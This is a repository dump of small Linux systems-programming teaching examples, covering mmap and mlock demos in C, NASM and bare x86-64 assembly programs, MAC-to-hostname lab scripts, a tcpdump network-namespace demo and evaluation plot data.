| MY_HWADDR=$(/sbin/ifconfig "$IFACE" | grep HW | awk -F '[ \t]+' '{print $5}') 19 | if test $DEBUG -eq 1; then 20 | echo "HWaddr is $MY_HWADDR" 21 | fi 22 | } 23 | 24 | function hostbymac() 25 | { 26 | MY_HOSTNAME=$(awk -f hostbymac.awk -v hwaddr="$MY_HWADDR" "$CONFIG_FILE") 27 | if test $DEBUG -eq 1; then 28 | echo "hostname is $MY_HOSTNAME" 29 | fi 30 | } 31 | 32 | function setuphost() 33 | { 34 | hostname "$MY_HOSTNAME" 35 | echo "$MY_HOSTNAME" > /etc/hostname 36 | } 37 | 38 | function main() 39 | { 40 | getmac 41 | hostbymac 42 | 43 | if test -z "$MY_HOSTNAME"; then 44 | echo "No HW address [$MY_HWADDR] in config file [$CONFIG_FILE]" 45 | fi 46 | 47 | setuphost 48 | } 49 | 50 | main 51 | 52 | exit 0 53 | -------------------------------------------------------------------------------- /mac2host/mac2host/print-users.awk: -------------------------------------------------------------------------------- 1 | #!/usr/bin/awk -f 2 | 3 | { 4 | if ($3 < 200 && $3 > 100) 5 | printf "%s (%d)\n", $1, $3; 6 | } 7 | -------------------------------------------------------------------------------- /mac2host/mac2host/sample.conf: -------------------------------------------------------------------------------- 1 | 00:1d:09:b4:0c:26 bugs 2 | 00:07:E9:92:BC:D9 daffy 3 | -------------------------------------------------------------------------------- /mac2host/upload/uploadmac: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | declare IFACE=eth1 4 | declare URL="http://anaconda.cs.pub.ro/~razvan/school/uso/lab/macs/putmac.php" 5 | declare DEBUG=1 6 | declare MY_HWADDR 7 | 8 | function getmac() 9 | { 10 | MY_HWADDR=$(/sbin/ifconfig "$IFACE" | grep HW | awk -F '[ \t]+' '{print $5}') 11 | if test $DEBUG -eq 1; then 12 | echo "HWaddr is $MY_HWADDR" 13 | fi 14 | } 15 | 16 | function uploadmac() 17 | { 18 | wget -o /dev/null "$URL?mac=$MY_HWADDR" &> /dev/null 19 | } 20 | 21 | function main() 22 | { 23 | getmac 24 | uploadmac 25 | } 26 | 27 | main 28 | 29 | exit 0 30 | -------------------------------------------------------------------------------- /macros/safe-typechecking.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define min(x, y) ({ \ 4 | typeof(x) _min1 = (x); \ 5 | typeof(y) _min2 = (y); \ 6 | (void) (&_min1 == &_min2); \ 7 | _min1 < _min2 ? _min1 : _min2; }) 8 | 9 | 10 | int main(void) 11 | { 12 | #ifdef SAFE 13 | unsigned int lulu = 0; 14 | unsigned int mumu = 1; 15 | #else 16 | unsigned char lulu = 0; 17 | unsigned long mumu = 1; 18 | #endif 19 | 20 | min(lulu, mumu); 21 | 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /mail/list-sent-messages: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | last_days=50 4 | sent_mail_folder=$HOME/Maildir/.Sent/cur 5 | 6 | for f in $(find $sent_mail_folder/ -type f -mtime -$last_days); do 7 | grep '^Date:' < "$f" 8 | done 9 | 10 | # may pipe through ... 11 | # awk -F '[:, \t]+' '{print $2, $3, $4, $5;}' | sort | uniq -c | sort -n -k 1 12 | -------------------------------------------------------------------------------- /media/create-image-with-text: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | convert -size 1920x1080 xc:black -font "FreeMono" -pointsize 64 -fill white -gravity center -annotate +0+0 'BREAK\n\nPart 2 starts in a few seconds' image.png 4 | -------------------------------------------------------------------------------- /media/create-movie-from-image: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ffmpeg -loop 1 -i image.png -c:v libx264 -t 10 -pix_fmt yuv420p -vf scale=1920:1080 out.mp4 4 | -------------------------------------------------------------------------------- /mem-usage/.gitignore: -------------------------------------------------------------------------------- 1 | /mem-free 2 | -------------------------------------------------------------------------------- /mem-usage/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | all: mem-free 6 | 7 | mem-free: mem-free.o 8 | 9 | mem-free.o: mem-free.c 10 | 11 | clean: 12 | -rm -f mem-free 13 | -rm -f *.o 14 | -rm -f *~ 15 | -------------------------------------------------------------------------------- /mem-usage/mem-free.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | static size_t get_free_memory(void) 7 | { 8 | FILE *f; 9 | size_t i; 10 | char buf[256]; 11 | char *p; 12 | 13 | f = fopen("/proc/meminfo", "rt"); 14 | assert(f != NULL); 15 | /* Second line is 'MemFree: ...' */ 16 | fgets(buf, 256, f); 17 | fgets(buf, 256, f); 18 | fclose(f); 19 | 20 | p = NULL; 21 | for (i = 0; i < 256; i++) 22 | if (buf[i] == ':') { 23 | p = buf+i+1; 24 | break; 25 | } 26 | 27 | return strtoul(p, NULL, 10); 28 | } 29 | 30 | int main(void) 31 | { 32 | size_t mem_used; 33 | 34 | mem_used = get_free_memory(); 35 | printf("memory used: %zu KB\n", mem_used); 36 | 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /mlock/.gitignore: -------------------------------------------------------------------------------- 1 | /mlock 2 | -------------------------------------------------------------------------------- /mlock/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | all: mlock 6 | 7 | mlock: mlock.o 8 | 9 | mlock.o: mlock.c 10 | 11 | clean: 12 | rm -f *.o *~ mlock 13 | -------------------------------------------------------------------------------- /mlock/mlock.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | static void wait_for_input(const char *msg) 11 | { 12 | char buf[32]; 13 | 14 | printf(" * %s\n", msg); 15 | printf(" -- Press ENTER to continue ...\n"); fflush(stdout); 16 | fgets(buf, 32, stdin); 17 | } 18 | 19 | #define NUM_PAGES 8 20 | 21 | int main(void) 22 | { 23 | void *addr; 24 | size_t map_len = NUM_PAGES * getpagesize(); 25 | size_t i; 26 | int rc; 27 | struct rlimit r; 28 | 29 | rc = getrlimit(RLIMIT_MEMLOCK, &r); 30 | if (rc < 0) { 31 | perror("getrlimit"); 32 | exit(EXIT_FAILURE); 33 | } 34 | printf("memlock limit: %zu (current), %zu (maximum)\n", 35 | r.rlim_cur, r.rlim_max); 36 | printf("map_len: %zu\n", NUM_PAGES * map_len); 37 | wait_for_input("Call mmap()"); 38 | addr = mmap(NULL, NUM_PAGES * map_len, PROT_READ | PROT_WRITE, 39 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 40 | if (addr == MAP_FAILED) { 41 | perror("mmap"); 42 | exit(EXIT_FAILURE); 43 | } 44 | 45 | wait_for_input("Access mapped page"); 46 | for (i = 0; i < NUM_PAGES; i++) 47 | memcpy(addr + i*getpagesize(), "anaaremere", 10); 48 | wait_for_input("Call mlock()"); 49 | rc = mlock(addr, NUM_PAGES * map_len); 50 | if (rc < 0) { 51 | perror("mlock"); 52 | exit(EXIT_FAILURE); 53 | } 54 | wait_for_input("mlock() has been called"); 55 | 56 | return 0; 57 | } 58 | -------------------------------------------------------------------------------- /mmap/.gitignore: -------------------------------------------------------------------------------- 1 | /a.dat 2 | /file 3 | /dual-mapping 4 | /mmap 5 | /mmap-overalloc 6 | /mmap-ftruncate 7 | /test.map 8 | /mmap-duration 9 | -------------------------------------------------------------------------------- /mmap/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | LDLIBS = -lrt 3 | 4 | .PHONY: all clean 5 | 6 | all: mmap file dual-mapping mmap-overalloc mmap-ftruncate mmap-duration 7 | 8 | file: 9 | truncate -s 100M file 10 | 11 | clean: 12 | rm -f *.o *~ mmap file dual-mapping mmap-overalloc mmap-ftruncate 13 | -------------------------------------------------------------------------------- /mmap/a.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | for((i=0; i<100; i++)); do 4 | ./mmap file $((i*1000*100)) $i & 5 | done 6 | -------------------------------------------------------------------------------- /mmap/dual-mapping.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | int main(void) 11 | { 12 | int fd; 13 | int *ptr1, *ptr2; 14 | int i; 15 | 16 | fd = open("a.dat", O_RDWR | O_TRUNC | O_CREAT, 0644); 17 | if (fd < 0) { 18 | perror("open"); 19 | exit(EXIT_FAILURE); 20 | } 21 | 22 | ftruncate(fd, getpagesize()); 23 | 24 | ptr1 = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, MAP_SHARED, 25 | fd, 0); 26 | if (ptr1 == MAP_FAILED) { 27 | perror("mmap"); 28 | exit(EXIT_FAILURE); 29 | } 30 | 31 | ptr2 = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, MAP_SHARED, 32 | fd, 0); 33 | if (ptr2 == MAP_FAILED) { 34 | perror("mmap"); 35 | exit(EXIT_FAILURE); 36 | } 37 | 38 | srand(time(NULL)); 39 | printf("ptr1 = %p, ptr2 = %p\n"); 40 | memset(ptr1, 0, sizeof(int)); 41 | memset(ptr2, 0, sizeof(int)); 42 | 43 | for (i = 0; i < 10; i++) { 44 | *ptr1 = rand(); 45 | printf("*ptr1 = %d; *ptr2 = %d\n", *ptr1, *ptr2); 46 | } 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /mmap/mmap-duration.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #ifndef PAGE_SIZE 8 | #define PAGE_SIZE 4096 9 | #endif 10 | 11 | #define NUM_ALLOCS 1000 12 | 13 | static void print_duration(const char *msg, struct timespec *tstart, struct timespec *tend) 14 | { 15 | long nsec_start; 16 | long nsec_end; 17 | 18 | nsec_start = 1000*1000*1000*tstart->tv_sec + tstart->tv_nsec; 19 | nsec_end = 1000*1000*1000*tend->tv_sec + tend->tv_nsec; 20 | 21 | printf("%s (ns): %ld\n", msg, nsec_end-nsec_start); 22 | } 23 | 24 | int main(int argc, char * argv[]) 25 | { 26 | size_t i; 27 | char *p[NUM_ALLOCS]; 28 | struct timespec tstart, tend; 29 | 30 | if (clock_gettime(CLOCK_REALTIME, &tstart) < 0) { 31 | perror("clock_gettime"); 32 | exit(EXIT_FAILURE); 33 | } 34 | for (i = 0; i < NUM_ALLOCS; i++) { 35 | p[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 36 | if (p[i] == MAP_FAILED) { 37 | perror("mmap"); 38 | exit(EXIT_FAILURE); 39 | } 40 | } 41 | if (clock_gettime(CLOCK_REALTIME, &tend) < 0) { 42 | perror("clock_gettime"); 43 | exit(EXIT_FAILURE); 44 | } 45 | print_duration("mmap time", &tstart, &tend); 46 | 47 | if (clock_gettime(CLOCK_REALTIME, &tstart) < 0) { 48 | perror("clock_gettime"); 49 | exit(EXIT_FAILURE); 50 | } 51 | for (i = 0; i < NUM_ALLOCS; i++) { 52 | p[i][0] = 'a'; 53 | } 54 | if (clock_gettime(CLOCK_REALTIME, &tend) < 0) { 55 | perror("clock_gettime"); 56 | exit(EXIT_FAILURE); 57 | } 58 | print_duration("access time", &tstart, &tend); 59 | 60 | return 0; 61 | } 62 | -------------------------------------------------------------------------------- /mmap/mmap-ftruncate.c: -------------------------------------------------------------------------------- 1 | /* 2 | * See what happens whan mapping a non-truncated file and what happens 3 | * when doing private mapping on a file. 4 | * 5 | * 2011, Razvan Deaconescu, razvan.deaconescu@cs.pub.ro 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | /* Turn to MAP_PRIVATE for private mapping. */ 18 | #define MAPPING_TYPE MAP_SHARED 19 | 20 | /* Uncomment to enable file truncation (ftruncate(2)). */ 21 | /*#define TRUNCATE_FILE 1*/ 22 | 23 | #define FILENAME "test.map" 24 | #define MAPPING_SIZE (getpagesize()) 25 | 26 | int main(void) 27 | { 28 | int fd; 29 | char *addr; 30 | 31 | /* For testing purpose, remove file from filesystem. */ 32 | unlink(FILENAME); 33 | 34 | fd = open(FILENAME, O_RDWR | O_CREAT, 0644); 35 | if (fd < 0) { 36 | perror("open"); 37 | exit(EXIT_FAILURE); 38 | } 39 | 40 | #if TRUNCATE_FILE == 1 41 | if (ftruncate(fd, MAPPING_SIZE) < 0) { 42 | perror("ftruncate"); 43 | exit(EXIT_FAILURE); 44 | } 45 | #endif 46 | 47 | addr = mmap(NULL, MAPPING_SIZE, PROT_READ | PROT_WRITE, MAPPING_TYPE, fd, 0); 48 | if (addr == MAP_FAILED) { 49 | perror("mmap"); 50 | exit(EXIT_FAILURE); 51 | } 52 | 53 | /* 54 | * Do access. 55 | * In case of shared-mapping on non-truncated file, this results 56 | * in the delivery of SIGBUS. 57 | */ 58 | *addr = 'a'; 59 | 60 | munmap(addr, MAPPING_SIZE); 61 | close(fd); 62 | 63 | return 0; 64 | } 65 | -------------------------------------------------------------------------------- /mmap/mmap-overalloc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | int main(void) 9 | { 10 | void *a; 11 | 12 | a = mmap(NULL, (size_t) 3*1024*1024*1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 13 | if (a == MAP_FAILED) { 14 | perror("mmap"); 15 | exit(EXIT_FAILURE); 16 | } 17 | 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /mmap/mmap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | const int TOTAL_SLEEP_MS = 10 * 1000 * 1000; 10 | 11 | int main(int argc, char * argv[]) 12 | { 13 | int i; 14 | char * p; 15 | if (argc < 3) { 16 | fprintf(stderr, "usage: %s filename msec_sleep val\n", argv[0]); 17 | exit(1); 18 | } 19 | int first_sleep_ms = atoi(argv[2]); 20 | int len = 100*1024*1024; 21 | 22 | int fd = open(argv[1], O_RDWR); 23 | if (fd == -1) { perror("open"); exit(1); } 24 | 25 | p = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 26 | if (p == MAP_FAILED) { perror("mmap"); exit(1); } 27 | 28 | for (i = 0; i < len; i++) 29 | p[i] = 0; 30 | 31 | printf("[%d] -- sleep %d\n", getpid(), first_sleep_ms); 32 | usleep(first_sleep_ms); 33 | printf("[%d] val=%d, making it %d\n", getpid(), *p, atoi(argv[3])); 34 | *p = atoi(argv[3]); 35 | usleep(TOTAL_SLEEP_MS - first_sleep_ms); 36 | printf("[%d] -- done\n", getpid()); 37 | 38 | munmap(p, len); 39 | close(fd); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /msys/Makefile: -------------------------------------------------------------------------------- 1 | CC = /c/MinGW/bin/gcc.exe 2 | CFLAGS = -Wall -g 3 | GCC_PATH = /c/MinGW/bin 4 | 5 | all: hello.exe 6 | 7 | hello.exe: hello.c 8 | PATH=$(GCC_PATH):$$PATH $(CC) $(CFLAGS) -o $@ $^ 9 | 10 | clean: 11 | -rm -f hello.exe *~ 12 | -------------------------------------------------------------------------------- /msys/README: -------------------------------------------------------------------------------- 1 | msys (MinGW) Makefile 2 | 3 | This simple program and Makefile is to be used under msys (MinGW) on Windows. 4 | It assumes MinGW is installed under C:\MinGW (/c/MinGW/ as a Unix-like path in 5 | msys/MinGW). It appends the path to MinGW binaries and libraries (gcc & 6 | friends) to the PATH environment variable and uses gcc from C:\MinGW\bin\gcc 7 | (/c/MinGW/bin/gcc) to compile the hello.c program. 8 | -------------------------------------------------------------------------------- /msys/hello.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | puts("Hello"); 6 | return 0; 7 | } 8 | -------------------------------------------------------------------------------- /nasm/.gitignore: -------------------------------------------------------------------------------- 1 | /flags 2 | /hello 3 | /hello_x86_64 4 | -------------------------------------------------------------------------------- /nasm/Makefile: -------------------------------------------------------------------------------- 1 | AS = nasm 2 | LDFLAGS = -m32 3 | 4 | .PHONY: all clean 5 | 6 | all: hello hello_x86_64 flags 7 | 8 | hello: hello.o 9 | 10 | hello.o: hello.asm 11 | $(AS) -f elf32 -o $@ $< 12 | 13 | hello_x86_64: hello_x86_64.o 14 | $(CC) -o $@ $^ 15 | 16 | hello_x86_64.o: hello_x86_64.asm 17 | $(AS) -f elf64 -o $@ $< 18 | 19 | flags: flags.o 20 | 21 | flags.o: flags.asm 22 | $(AS) -f elf32 -o $@ $< 23 | 24 | clean: 25 | -rm -f *~ 26 | -rm -f flags.o flags 27 | -rm -f hello.o hello 28 | -rm -f hello_x86_64.o hello_x86_64 29 | -------------------------------------------------------------------------------- /nasm/flags.asm: -------------------------------------------------------------------------------- 1 | section .text 2 | 3 | global main 4 | 5 | main: 6 | push ebp 7 | mov ebp, esp 8 | 9 | mov al, 127 10 | mov bl, 100 11 | add al, bl 12 | 13 | mov al, 130 14 | mov bl, 130 15 | add al, bl 16 | 17 | mov al, 200 18 | mov bl, 100 19 | add al, bl 20 | 21 | leave 22 | ret 23 | -------------------------------------------------------------------------------- /nasm/function_calls_linux.asm: -------------------------------------------------------------------------------- 1 | %include "io.inc" 2 | 3 | extern malloc 4 | extern printf 5 | extern strcpy 6 | extern puts 7 | extern free 8 | 9 | section .data 10 | print_format: db "ret: %p", 13, 10, 0 11 | malloc_ret: dd 0 12 | 13 | section .text 14 | global CMAIN 15 | CMAIN: 16 | push ebp 17 | mov ebp, esp 18 | 19 | mov al, 0x61 20 | PRINT_CHAR al 21 | PRINT_CHAR 13 22 | PRINT_CHAR 10 23 | 24 | push 100 25 | call malloc 26 | add esp, 4 27 | 28 | ; Save malloc pointer value. 29 | mov dword [malloc_ret], eax 30 | 31 | push eax 32 | push print_format 33 | call printf 34 | add esp, 8 35 | 36 | push print_format 37 | push dword [malloc_ret] 38 | call strcpy 39 | add esp, 8 40 | 41 | push dword [malloc_ret] 42 | call puts 43 | add esp, 4 44 | 45 | push dword [malloc_ret] 46 | call free 47 | add esp, 4 48 | 49 | leave 50 | ret 51 | -------------------------------------------------------------------------------- /nasm/function_calls_windows.asm: -------------------------------------------------------------------------------- 1 | %include "io.inc" 2 | 3 | extern _malloc 4 | extern _printf 5 | extern _strcpy 6 | extern _puts 7 | extern _free 8 | 9 | section .data 10 | print_format: db "ret: %p", 13, 10, 0 11 | malloc_ret: dd 0 12 | 13 | section .text 14 | global CMAIN 15 | CMAIN: 16 | push ebp 17 | mov ebp, esp 18 | 19 | mov al, 0x61 20 | PRINT_CHAR al 21 | PRINT_CHAR 13 22 | PRINT_CHAR 10 23 | 24 | push 100 25 | call _malloc 26 | add esp, 4 27 | 28 | ; Save malloc pointer value. 29 | mov dword [malloc_ret], eax 30 | 31 | push eax 32 | push print_format 33 | call _printf 34 | add esp, 8 35 | 36 | push print_format 37 | push dword [malloc_ret] 38 | call _strcpy 39 | add esp, 8 40 | 41 | push dword [malloc_ret] 42 | call _puts 43 | add esp, 4 44 | 45 | push dword [malloc_ret] 46 | call _free 47 | add esp, 4 48 | 49 | leave 50 | ret 51 | -------------------------------------------------------------------------------- /nasm/hello.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Simple NASM syntax assembly program for x86 (32 bit). 3 | ; 4 | ; Use commands below to assemble, link and run ($ is the prompt): 5 | ; $ nasm -f elf32 hello.asm 6 | ; $ gcc -m32 -o hello hello.o 7 | ; $ ./hello 8 | ; Hello, world! 9 | ; 10 | 11 | extern printf 12 | 13 | section .text 14 | 15 | global main 16 | 17 | main: 18 | push ebp 19 | mov ebp, esp 20 | 21 | push msg 22 | call printf 23 | add esp, 4 24 | 25 | leave 26 | ret 27 | 28 | section .data 29 | msg db 'Hello, world!', 13, 10, 0 30 | -------------------------------------------------------------------------------- /nasm/hello_x86_64.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Simple NASM syntax assembly program for x86_64. 3 | ; 4 | ; Use commands below to assemble, link and run ($ is the prompt): 5 | ; $ nasm -f elf64 hello_x86_64.asm 6 | ; $ gcc -o hello_x86_64 hello_x86_64.o 7 | ; $ ./hello_x86_64 8 | ; Hello, world! 9 | ; 10 | 11 | extern printf 12 | 13 | section .text 14 | 15 | global main 16 | 17 | main: 18 | push rbp 19 | mov rbp, rsp 20 | 21 | mov rdi, msg 22 | call printf WRT ..plt 23 | 24 | leave 25 | ret 26 | 27 | section .data 28 | msg db 'Hello, world!', 13, 10, 0 29 | -------------------------------------------------------------------------------- /netns/.gitignore: -------------------------------------------------------------------------------- 1 | /ping.pcap 2 | -------------------------------------------------------------------------------- /netns/README.md: -------------------------------------------------------------------------------- 1 | # Packet Capture for Network Namespaces 2 | 3 | This is a demo on using network namespacing and `tcpdump` for packet capture. 4 | 5 | It uses a namespace (`mdst`) and a veth interface pair. 6 | One end of the pair is in in the namespace (`mdst_inner`); 7 | the other is outside of it (`mdst_outer`). 8 | 9 | `ping` is used to send packets from the namespaces to the outer interface. 10 | `tcpdump` is used to capture the packets. 11 | Packets are captured raw (via the `-w` flag of `tcpdump`) in the `ping.pcap` file. 12 | The contents of the `ping.pcap` file can then be rendered using the `-r` flag of `tcpdump`. 13 | 14 | There are three scripts: 15 | * `create_namespace.sh`: create the setup: namespace and interface pair 16 | * `remove_namespace.sh`: remove the namespace 17 | * `run_tcpdump.sh`: run `tcpdump` to capture packets to / from the namespace; 18 | use `ping` to send packets 19 | -------------------------------------------------------------------------------- /netns/run_tcpdump.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Start tcpdump." 4 | sudo ip netns exec mdst tcpdump -i mdst_outer -e -U -w ping.pcap > /dev/null 2>&1 & 5 | 6 | echo -n "Sleeping for 5 seconds ..." 7 | sleep 5 8 | echo 9 | 10 | # Send some pings; we don't care about the ping output. 11 | echo -n "Pinging for 5 seconds ..." 12 | sudo ip netns exec mdst ping -c 5 10.2.0.3 > /dev/null 13 | echo 14 | 15 | # Stop tcpdump. 16 | echo "Stop tcpdump process (send SIGINT)." 17 | sudo kill -INT $! 18 | 19 | # Print captured packets. 20 | sleep 2 21 | echo 22 | echo 23 | echo "Packets captured:" 24 | sudo tcpdump -r ping.pcap 25 | -------------------------------------------------------------------------------- /nostdlib/.gitignore: -------------------------------------------------------------------------------- 1 | /main 2 | -------------------------------------------------------------------------------- /nostdlib/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc-10 2 | LDFLAGS = -nostdlib -nostdinc -static-pie 3 | 4 | .PHONY: all clean 5 | 6 | all: main 7 | 8 | main: start.o main.o 9 | 10 | start.o: start.s 11 | 12 | main.o: main.s 13 | 14 | clean: 15 | -rm -f start.o main.o 16 | -rm -f main 17 | -rm -f *~ 18 | -------------------------------------------------------------------------------- /nostdlib/main.s: -------------------------------------------------------------------------------- 1 | .section .rodata 2 | msg: 3 | .string "Hello, World!\n" 4 | 5 | .text 6 | 7 | .globl main 8 | 9 | # /usr/include/x86_64-linux-gnu/asm/unistd_64.h 10 | .equ __NR_write, 1 11 | .equ STDOUT_FILENO, 1 12 | 13 | main: 14 | pushq %rbp 15 | movq %rsp, %rbp 16 | 17 | # Call __NR_write(STDOUT_FILENO, "Hello, World!", 13) (system call). 18 | # 19 | # Use x86_64 Linux system call convention. 20 | # https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ 21 | # 22 | # rdi stores the first system call argument: STDOUT_FILENO 23 | # rdx stores the second system call argument: the message 24 | # r9 stores the first system call argument: the message length 25 | # rax stores the system call id. 26 | 27 | movq $STDOUT_FILENO, %rdi 28 | leaq msg(%rip), %rsi 29 | movq $14, %rdx 30 | movq $__NR_write, %rax 31 | 32 | # Do system call. 33 | syscall 34 | 35 | # Return 0. 36 | xorq %rax, %rax 37 | 38 | leaveq 39 | ret 40 | -------------------------------------------------------------------------------- /nostdlib/start.s: -------------------------------------------------------------------------------- 1 | .text 2 | 3 | .globl _start 4 | 5 | # /usr/include/x86_64-linux-gnu/asm/unistd_64.h 6 | .equ __NR_exit, 60 7 | 8 | _start: 9 | call main 10 | 11 | # Call __NR_exit(main_return_value) (system call). 12 | # 13 | # Use x86_64 Linux system call convention. 14 | # https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ 15 | # 16 | # rdi stores the first system call argument. 17 | # rax stores the system call id. 18 | 19 | # rax is main return value. Store it in rdi. 20 | movq %rax, %rdi 21 | 22 | # Store the exit system call id in rax. 23 | movq $__NR_exit, %rax 24 | 25 | # Do system call. 26 | syscall 27 | -------------------------------------------------------------------------------- /parsing/join.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | 5 | 6 | def usage(argv0): 7 | print("Usage: {} ".format(argv0), file=sys.stderr) 8 | 9 | 10 | def main(): 11 | if len(sys.argv) != 3: 12 | usage(sys.argv[0]) 13 | sys.exit(1) 14 | 15 | first = open(sys.argv[1]) 16 | second = open(sys.argv[2]) 17 | 18 | first_items = {} 19 | for l in first.readlines(): 20 | g = l.rstrip().split("\t") 21 | first_items[g[0]] = g[1:] 22 | 23 | second_items = {} 24 | for l in second.readlines(): 25 | g = l.rstrip().split("\t") 26 | second_items[g[0]] = g[2:] 27 | 28 | for i in first_items.keys(): 29 | if i in second_items.keys(): 30 | print(i + "\t" + "\t".join(item for item in first_items[i]) + "\t" + "\t".join(item for item in second_items[i])) 31 | else: 32 | print(i + "\t" + "\t".join(item for item in first_items[i])) 33 | 34 | 35 | if __name__ == "__main__": 36 | sys.exit(main()) 37 | -------------------------------------------------------------------------------- /pcap/Makefile: -------------------------------------------------------------------------------- 1 | # libpcap (packet capture) example 2 | 3 | CFLAGS = -Wall -g 4 | LDLIBS = -lpcap 5 | 6 | all: pcap_test 7 | 8 | pcap_test: pcap_test.o 9 | 10 | .PHONY: clean 11 | 12 | clean: 13 | -rm -fr pcap_test *.o *~ 14 | -------------------------------------------------------------------------------- /permutations/.gitignore: -------------------------------------------------------------------------------- 1 | /permutations 2 | -------------------------------------------------------------------------------- /permutations/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | all: permutations 6 | 7 | clean: 8 | -rm -f permutations permutations.o 9 | -rm -f *~ 10 | -------------------------------------------------------------------------------- /permutations/permutations.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define NUM 4 4 | 5 | static unsigned int values[NUM]; 6 | 7 | static void print_values(void) 8 | { 9 | unsigned int i; 10 | 11 | printf("[ "); 12 | for (i = 0; i < NUM; i++) 13 | printf("%d ", values[i]); 14 | printf("]\n"); 15 | } 16 | 17 | static void generate_all(size_t until) 18 | { 19 | unsigned int i; 20 | 21 | for (i = 1; i <= NUM; i++) { 22 | values[until] = i; 23 | if (until == 0) 24 | print_values(); 25 | else 26 | generate_all(until - 1); 27 | } 28 | } 29 | 30 | int main(void) 31 | { 32 | generate_all(NUM-1); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /php/test_ip.php: -------------------------------------------------------------------------------- 1 | " 4 | 5 | $fp = fopen('log.txt', 'a+') or die("Can't open file log.txt"); 6 | 7 | $result = fwrite($fileHandle, "IP: $ip Name: Gogu de la gaze"); 8 | 9 | if ($result) { 10 | echo "Data written successfully.
      "; 11 | } else { 12 | echo "Data write failed.
      "; 13 | } 14 | 15 | fclose($fileHandle); 16 | ?> 17 | -------------------------------------------------------------------------------- /play-scripts/aj-wants-to-go-laser.bash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | __url="http://www.fundeal.ro/coupon/index/index/ref/bf2905fd31f0b08a7351d19949153adc" 4 | #for url in $(wget -O- "$__url" 2> /dev/null | grep "click aici" | sed 's/^.*\(http:.*\)".*$/\1/'); do 5 | # wget -O- "$url" 2> /dev/null | grep -A 1 "Cod cupon" | tail -n -1 | sed 's/^.*\(.*\)<\/strong>.*$/\1/' 6 | #done 7 | 8 | wget -O- $(wget -O- "$__url" 2> /dev/null | grep "click aici" | sed 's/^.*\(http:.*\)".*$/\1/') 2> /dev/null | grep -A 1 "Cod cupon" | grep strong | sed 's/^.*\(.*\)<\/strong>.*$/\1/' 9 | -------------------------------------------------------------------------------- /plots/README.md: -------------------------------------------------------------------------------- 1 | # Plots 2 | 3 | These are plots generated with [Matplotlib](https://matplotlib.org/). 4 | 5 | The `so-2024-2025-lecturer-eval.py` script processes the data from `input.csv`. 6 | Run it using: 7 | 8 | ```console 9 | python so-2024-2025-lecturer-eval.py 10 | ``` 11 | 12 | It prints out a CSV format of processed results and two files: 13 | 14 | - `violin.png` is a [violin plot](https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.violinplot.html) with two subplots, one for evaluation and one for relevance 15 | 16 | - `scatter.png` is a [scatter plot](https://matplotlib.org/stable/api/_as_gen/matplotlib.axes.Axes.scatter.html) with placement of evaluation + relevance markers on a grid layout 17 | 18 | The generated `processed.csv`, `violin.png` and `scatter.png` files are part of the repository. 19 | -------------------------------------------------------------------------------- /plots/processed.csv: -------------------------------------------------------------------------------- 1 | Topic,GradeType,Num,Mean,Median,Min,Max 2 | Exigență,relevance,84,84,7.64,8.0,2.0,10.0 3 | Exigență,evaluation,84,84,6.20,6.0,1.0,10.0 4 | Seriozitate,relevance,83,83,8.49,9.0,3.0,10.0 5 | Seriozitate,evaluation,83,83,7.75,8.0,3.0,10.0 6 | Punctualitate,relevance,83,83,7.41,8.0,1.0,10.0 7 | Punctualitate,evaluation,83,83,7.63,8.0,0.0,10.0 8 | Organizare,relevance,84,84,9.35,10.0,5.0,10.0 